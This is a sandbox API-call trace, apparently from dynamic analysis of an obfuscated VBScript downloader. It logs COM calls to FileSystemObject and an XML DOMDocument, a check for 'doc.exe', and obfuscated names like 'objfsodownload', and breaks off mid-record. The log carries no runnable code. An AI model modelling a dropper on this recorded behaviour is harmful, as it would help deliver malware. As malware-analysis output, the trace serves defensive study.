IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.825] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mmgcb", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mmgcb", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.826] GetCurrentThreadId () returned 0xd44 [0087.826] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.826] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.832] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bicodo", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.832] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bicodo", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.832] GetCurrentThreadId () returned 0xd44 [0087.832] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.832] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.832] malloc (_Size=0x804) returned 0x83fc220 [0087.832] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.832] CLSIDFromProgIDEx (in: lpszProgID="scripting.filesystemobject", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0087.832] SysStringLen (param_1=0x0) returned 0x0 [0087.833] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x11c2208) returned 0x0 [0087.861] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2208, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0087.861] FileSystemObject:IClassFactory:CreateInstance (in: This=0x11c2208, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x11c2228) returned 0x0 [0087.861] FileSystemObject:IUnknown:Release (This=0x11c2208) returned 0x0 [0087.862] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0087.862] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x11c2228) returned 0x0 [0087.862] FileSystemObject:IUnknown:AddRef (This=0x11c2228) returned 0x3 [0087.862] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x2 [0087.862] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x1 [0087.862] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.862] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objfsodownload", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.862] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objfsodownload", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.862] GetCurrentThreadId () returned 0xd44 [0087.863] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.863] FileSystemObject:IUnknown:AddRef (This=0x11c2228) returned 0x2 [0087.863] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.864] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaaaaaaal", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.864] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaaaaaaal", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.864] GetCurrentThreadId () returned 0xd44 [0087.864] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.864] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.864] malloc (_Size=0x804) returned 0x83fc220 [0087.864] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.865] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.866] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="xnsf", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.866] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="xnsf", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.866] GetCurrentThreadId () returned 0xd44 [0087.866] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.866] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.866] malloc (_Size=0x804) returned 0x83fc220 [0087.866] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.867] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0087.867] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x11c2228, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=10016) returned 0x0 [0087.867] FileSystemObject:IUnknown:AddRef (This=0x11c2228) returned 0x2 [0087.867] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0087.867] FileSystemObject:IDispatch:Invoke (in: This=0x11c2228, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x11c2228) returned 0x0 [0087.868] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x1 [0087.868] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.868] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="onononono", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.869] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="onononono", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.869] GetCurrentThreadId () returned 0xd44 [0087.869] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.869] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.869] malloc (_Size=0x804) returned 0x83fc220 [0087.869] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.870] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0087.870] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555370, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="status", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=7) returned 0x0 [0087.870] DOMDocument:IUnknown:AddRef (This=0x555370) returned 0x2 [0087.870] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0087.870] DOMDocument:IDispatch:Invoke (in: This=0x555370, dispIdMember=7, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x154a40*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768*(varType=0x3, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x555370) returned 0x0 [0087.870] DOMDocument:IUnknown:Release (This=0x555370) returned 0x1 [0087.870] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.871] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.871] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.871] GetCurrentThreadId () returned 0xd44 [0087.871] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.871] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.871] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="alls", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.871] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="alls", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.871] GetCurrentThreadId () returned 0xd44 [0087.872] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.872] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.872] malloc (_Size=0x804) returned 0x83fc220 [0087.872] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.872] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.872] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.873] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.873] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.873] GetCurrentThreadId () returned 0xd44 [0087.873] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.873] ??2@YAPAXI@Z () returned 0x11c2208 [0087.873] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.873] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.873] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.873] GetCurrentThreadId () returned 0xd44 [0087.873] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.873] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.874] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.874] GetCurrentThreadId () returned 0xd44 [0087.874] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.874] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.874] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.874] GetCurrentThreadId () returned 0xd44 [0087.874] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.874] malloc (_Size=0x204) returned 0x847b3d8 [0087.874] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.874] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.874] GetCurrentThreadId () returned 0xd44 [0087.875] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.876] ??2@YAPAXI@Z () returned 0x86bff10 [0087.876] malloc (_Size=0x804) returned 0x83fc220 [0087.876] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.876] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0087.876] SysStringLen (param_1=0x0) returned 0x0 [0087.876] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0087.877] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0087.877] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x554928) returned 0x0 [0087.877] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0087.877] DOMDocument:IUnknown:QueryInterface (in: This=0x554928, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x554954) returned 0x0 [0087.877] ??2@YAPAXI@Z () returned 0x1112b18 [0087.878] DOMDocument:IObjectWithSite:SetSite (This=0x554954, pUnkSite=0x1112b18) returned 0x0 [0087.878] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0087.878] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0087.878] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0087.878] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112b18) returned 0x0 [0087.878] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112b18) returned 0x0 [0087.878] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.878] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.878] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.878] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.878] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.879] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.879] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.879] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.879] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.879] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.879] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.879] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.879] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.879] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.879] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, 